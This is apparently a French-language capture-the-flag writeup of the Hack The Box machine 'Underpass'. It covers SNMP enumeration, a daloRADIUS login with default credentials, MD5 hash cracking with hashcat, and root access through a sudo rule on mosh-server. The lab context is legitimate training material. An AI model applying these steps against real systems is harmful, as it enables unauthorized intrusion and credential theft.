Aller au contenu
  1. Posts/

Writeup de la box Easy "Underpass" de Hack The Box

·1188 mots·6 mins
Lacroix Raphaël (Chepycou)
Auteur
Lacroix Raphaël (Chepycou)
Bonjour, bienvenue sur mon blog. Je suis Raphaël LACROIX, je développe diverses applications pendant mon temps libre, allant du très inutile au parfois utile. Je fais aussi beaucoup de Capture The Flag et de défis de cybersécurité.
Sommaire
Hack The Box Easy Boxes - Cet article fait partie d'une série.
Partie : Cet article

Cette box est une box Linux notée “Insane” et hébergée par HackTheBox.

Flag utilisateur
#

Énumération
#

mkdir scans loot shares
nmap -A 10.10.11.48 -vvv -oA scans/first_scan
nmap -A 10.10.11.48 -p- -vvv -oA scans/full_scan

Le premier scan nous donne 2 ports bien usuels :

Discovered open port 80/tcp on 10.10.11.48
Discovered open port 22/tcp on 10.10.11.48

Nous voyons que nous avons sur le port 22 un OpenSSH 8.9p1 et sur le port 80 un serveur web Apache (httpd 2.4.52). Un scan plus approfondi ne donne rien, alors voyons si quelque chose se cache derrière la page par défaut d’Apache.

Première page web
#

Nous pouvons essayer de voir s’il ne s’agit pas d’un test en prod avec un répertoire non-référencé à côté :

feroxbuster -H "Priority: u=0, i" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Upgrade-Insecure-Requests: 1" -H "Accept-Language: en-US,en;q=0.5" -u 'http://10.10.11.48/' -w /usr/share/seclists/Discovery/Web-Content/ -t 16

Plus de fingerprinting
#

Comme cette approche ne semble pas fonctionner, essayons quelques combinaisons courantes d’utilisateur et de mot de passe sur le port SSH.

Comme cela ne fonctionne pas non plus, essayons un scan plus large en analysant les ports UDP. Nous commencerons d’abord par les 10 ports les plus importants, puis, si nous ne trouvons rien, nous passerons à l’ensemble des ports, ce qui peut prendre un certain temps.

nmap -sU -A 10.10.11.48 --top-port 10 -vvv -oA scans/first_scan_udp

Oh ben tiens, le port SNMP est ouvert 🥳 :

Discovered open port 161/udp on 10.10.11.48
...
161/udp  open          snmp         udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 52m39.43s (315943 timeticks)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 31
|_  snmpEngineTime: 52m39s

Énumération de SNMP
#

Commençons l’énumération. Vérifions si la chaîne communautaire par défaut est utilisée :

snmpwalk -v 2c -c public 10.10.11.48

Bingo ! :

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (350282) 0:58:22.82
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (351458) 0:58:34.58
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 05 09 13 20 25 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 216
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

On peut en tirer quelques conclusions :

  • Le domaine semble être underpass.htb (such wow, personne ne s’y attendait)
  • Il y a une instance Daloradius, probablement sur cette machine
  • Il y a un utilisateur appellé steve.

Attaquons Daloradius
#

Nous pouvons ajouter le domaine underpass.htb dans notre /etc/hosts.

Essayons maintenant d’accéder à daloradius. Commençons par http://underpass.htb/daloradius/.

Nous obtenons une erreur 403, ce qui est une bonne nouvelle puisque cela signifie qu’il y a quelque chose !

Lançons le même scan que précédemment avec ce nouveau répertoire :

feroxbuster -H "Priority: u=0, i" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Upgrade-Insecure-Requests: 1" -H "Accept-Language: en-US,en;q=0.5" -u 'http://underpass.htb/daloradius/' -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 16

Nous pouvons voir beaucoup de fichiers, mais la plupart d’entre eux redirigent vers des 403s. Toutefois, certains d’entre eux nous redirigent vers une page de login : (ex : http://underpass.htb/daloradius/app/operators/library/ajax/). Essayons donc d’exploiter http://underpass.htb/daloradius/app/operators/login.php.

Nous obtenons une page de connexion, une recherche rapide en ligne nous indique qu’il n’y a pas de vulnérabilité de contournement d’authentification ou de CVE sur ce logiciel, alors regardons les informations d’identification courantes comme admin:admin.

Après quelques essais infructueux, vérifions les identifiants par défaut de ce logiciel. En regardant [cette issue sur le repo] (https://github.com/lirantal/daloradius/issues/456#issuecomment-1716197289) nous pouvons essayer administrator/radius, et ça marche !

Plus loin sur l’interface web
#

Ce serveur n’a qu’un seul utilisateur (que j’ai d’abord pris pour l’utilisateur admin), pas de NAS, et pas de logs. J’ai donc commencé par chercher des éléments d’information dans les fichiers de configuration. Dans http://underpass.htb/daloradius/app/operators/config-db.php on peut voir que la base de données semble tourner sous un utilisateur steve ce qui est assez louche :

Malheureusement, cela ne conduit pas à la réutilisation du mot de passe, mais pourra s’avérer utile par la suite.

Continuons à creuser. À ce stade, j’ai réalisé que les administrateurs (operators) et les utilisateurs sont deux choses séparées, donc il y a en fait un utilisateur en plus du compte auquel j’accédais et j’ai commencé à regarder les informations qui lui sont associées :

Le seul utilisateur semble être un compte de service et a un hash MD5 dans le champ du mot de passe :

echo "412DD4759978ACFCC81DEAB01B382403" > loot/svcMosh.hash
hashcat loot/svcMosh.hash /usr/share/wordlists/rockyou.txt -m 0

Grâce au manque de robustesse de MD5, nous trouvons presque immédiatement le mot de passe underwaterfriends et nous pouvons l’utiliser pour se ssh sur la machine et obtenir le flag de l’utilisateur :

Flag root
#

En faisant les vérifications habituelles, nous voyons que nous avons des droits sudo :

sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

La partie est terminée, nous pouvons exécuter en tant que root un remote shell. Sympa de la part du créateur de la box 😁

Maintenant, lorsque nous lançons mosh, nous obtenons le message suivant :

sudo /usr/bin/mosh-server
MOSH CONNECT 60002 MHq/iFAUDVYT6ab1GTgq8Q

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
...

Cela signifie que nous devons utiliser le mot de passe MHq/iFAUDVYT6ab1GTgq8Q pour nous connecter sur le port 60002 de l’hôte local. Puisque mosh-client est déjà installé sur la machine (quelle générosité) et que les ports ne sont probablement pas ouverts. La chose la plus simple est d’y accéder en faisant ce qui suit :

export MOSH_KEY=MHq/iFAUDVYT6ab1GTgq8Q
mosh-client 127.0.0.1 60002

Et nous obtenons le flag root !

Chepycou

Hack The Box Easy Boxes - Cet article fait partie d'une série.
Partie : Cet article